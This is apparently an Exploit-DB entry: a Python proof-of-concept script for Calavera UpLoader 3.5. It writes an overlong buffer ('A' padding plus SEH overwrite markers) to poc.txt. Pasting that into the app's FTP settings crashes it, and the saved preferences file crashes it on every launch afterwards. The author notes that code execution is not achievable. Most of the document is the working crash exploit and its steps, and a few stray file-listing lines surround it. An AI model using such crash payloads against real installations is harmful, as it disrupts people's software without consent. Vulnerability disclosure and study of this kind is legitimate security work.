e46d9f65ff
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33 lines
No EOL
1.5 KiB
Python
Executable file
33 lines
No EOL
1.5 KiB
Python
Executable file
# Exploit Title: Calavera UpLoader 3.5 - 'FTP Logi' Denial of Service (PoC + SEH Overwrite)
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# Date: 2020-07-20
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# Author: Felipe Winsnes
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# Software Link: https://www.exploit-db.com/apps/463c9e7fe9a39888d3c01bc9ad756bba-UpSetup.exe
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# Version: 3.5
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# Tested on: Windows 7 (x86)
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# Blog: https://whitecr0wz.github.io/
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# Sadly enough, this vulnerability is not exploitable as there are no friendly PPR addresses available and
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# yet the vulnerability is triggered with additional padding == can't use addresses with null values.
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# Proof of Concept:
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# 1.- Run the python script, it will create a new file "poc.txt".
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# 2.- Copy the content of the new file 'poc.txt' to clipboard.
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# 3.- Open the Application.
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# 4.- Click on "Settings".
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# 4.- Paste contents of the generated file into the parameters "FTP Address", "Username" and Password". Furthermore, check the box with the statement "Check to save password in preferences".
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# 5.- Crashed.
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# 6.- As uploadpref.dat is generated, every time the application opens it will crash, with the SEH values being overwritten. In order to stop this behavior simply delete the file.
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# If the contents are only pasted into "Password", the application will only crash once without creating uploadpref.dat.
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buffer = "A" * 477 + "BBBB" + "CCCC" + "\xff" * 2000
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try:
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f = open ("poc.txt", "w")
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f.write(buffer)
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f.close()
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print "[+] The file has been created successfully!"
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except:
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print "[!] There has been an error while creating the file." |